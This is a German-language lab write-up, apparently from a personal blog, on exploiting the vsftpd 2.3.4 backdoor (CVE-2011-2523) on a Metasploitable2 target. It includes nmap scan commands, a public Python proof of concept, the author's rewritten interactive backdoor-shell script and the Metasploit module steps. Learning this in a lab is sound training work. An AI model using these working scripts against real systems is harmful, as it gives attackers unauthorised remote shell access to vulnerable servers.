CVE-2011-2523

Dies sind Notizen zur Erstellung der Angriffsmethodik in einer kontrollierten Umgebung. Es wird davon ausgegangen, dass die Übung als Blackbox durchgeführt wird, daher kenne ich keine Informationen über das Opfersystem.

1- Benötigte ISOs herunterladen, sowohl Metasploitable2 als auch Kali oder eine andere. 2- Wichtig: Die Umgebung ist mit VMware konfiguriert, daher müssen beide Maschinen in diesem Hypervisor ausgeführt werden. 3- Der erste Schritt: ein ip ausführen, um zu überprüfen, ob eine Verbindung zwischen beiden Endpunkten besteht. 4- nmap -sV -Pn 192.168.253.128 verwenden. Nach der Erkennung finden wir mehrere Ports: 21 ftp vsftpd 2.3.4

Als Teil des Trainings soll jeder Port angegriffen werden, um auf verschiedene Weise Zugang zu erhalten. Wir beginnen mit dem folgenden Port. Es wird versucht, eine Blackbox-Situation zu schaffen, um reale Bedingungen so weit wie möglich zu simulieren oder zu lösen.

Exploitation Port 21 FTP

Wir beginnen mit der Verwendung von nmap -Pn -sV 10.0.2.5. Wir suchen in öffentlichen Datenbanken und finden CVE-2011-2523, eine Hintertür (Backdoor), die wir ausnutzen wollen, um Zugang zum Opferrechner zu erhalten.

Zuerst müssen wir verstehen, dass bei dieser speziellen Exploitation eine Hintertür existiert. Bei der Suche nach einer Möglichkeit, dieses System über die vorhandene Schwachstelle zu kompromittieren, finden wir auf packetstorm.news einen Proof-of-Concept (POC), der zeigt, dass die Schwachstelle ausnutzbar ist, aber nicht voll funktionsfähig, wie der folgende Code zeigt:

# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523

#!/usr/bin/python3   

from telnetlib import Telnet 
import argparse
from signal import signal, SIGINT
from sys import exit

def handler(signal_received, frame):
    # Handle any cleanup here
    print('   [+]Exiting...')
    exit(0)

signal(SIGINT, handler)                           
parser=argparse.ArgumentParser()        
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()       
host = args.host                        
portFTP = 21 #if necessary edit this line

user="USER nergal:)"
password="PASS pass"

tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()

Beim Lesen des Codes wird klar, dass es eher darum geht, die Machbarkeit zu demonstrieren, als ein funktionales Skript zu erstellen. Um realistischere Übungen durchzuführen, habe ich daher eine wesentliche Änderung vorgenommen, um eine Reverse Shell zu erhalten, die beim Ausführen des Codes einen geeigneteren Zugriff ermöglicht. Die Änderung führte zu folgendem Ergebnis:

#!/usr/bin/env python3

import socket
import sys
import time

def connect_ftp(host, port=21):
    try:
        s = socket.socket()
        s.connect((host, port))
        banner = s.recv(1024).decode(errors='ignore')
        print(f"[+] FTP Banner: {banner.strip()}")

        # Enviar payload del backdoor
        s.sendall(b'USER backdoor:)\r\n')
        time.sleep(0.5)
        s.sendall(b'PASS whatever\r\n')
        time.sleep(0.5)
        s.close()

        return True
    except Exception as e:
        print(f"[!] Error conectando al FTP: {e}")
        return False

def connect_backdoor_shell(host, port=6200):
    try:
        print(f"[+] Intentando conectar con la shell backdoor en {host}:{port}...")
        shell = socket.socket()
        shell.settimeout(3)
        shell.connect((host, port))
        print("[+] ¡Shell obtenida!")

        while True:
            cmd = input("shell> ")
            if cmd.strip().lower() == "exit":
                break
            shell.sendall((cmd + "\n").encode())
            # Lee todos los datos disponibles hasta timeout
            output = b""
            while True:
                try:
                    chunk = shell.recv(4096)
                    if not chunk:
                        break
                    output += chunk
                    # Espera un poco para ver si hay más datos
                    time.sleep(0.1)
                except socket.timeout:
                    break
            if output:
                print(output.decode(errors='ignore'))
            else:
                print("[!] Sin respuesta del shell.")

        shell.close()

    except Exception as e:
        print(f"[!] Falló al conectar con la shell: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Uso: {sys.argv[0]} <IP>")
        sys.exit(1)

    target_ip = sys.argv[1]
    if connect_ftp(target_ip):
        time.sleep(1)  # Da tiempo al backdoor para abrir el puerto
        connect_backdoor_shell(target_ip)
    else:
        print("[!] No se pudo conectar o el objetivo no parece vulnerable.")

Daraus wird ersichtlich, dass dies eine umständliche manuelle Herangehensweise an dieses Beispiel sein kann, aber es geht darum, verschiedene Optionen zu schaffen, um im Bereich der IT-Sicherheit zu wachsen und die Fähigkeiten zu verbessern.

Die andere Möglichkeit ist die Verwendung von Metasploit wie folgt:

msfconsole 
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.5
run

Wie man sieht, machen beide genau dasselbe, nur dass der eine bereits automatisiert ist und der andere ein manuellerer Prozess.

CVE-2011-2523

Beliebteste

CVE-2011-2523

Exploitation Port 21 FTP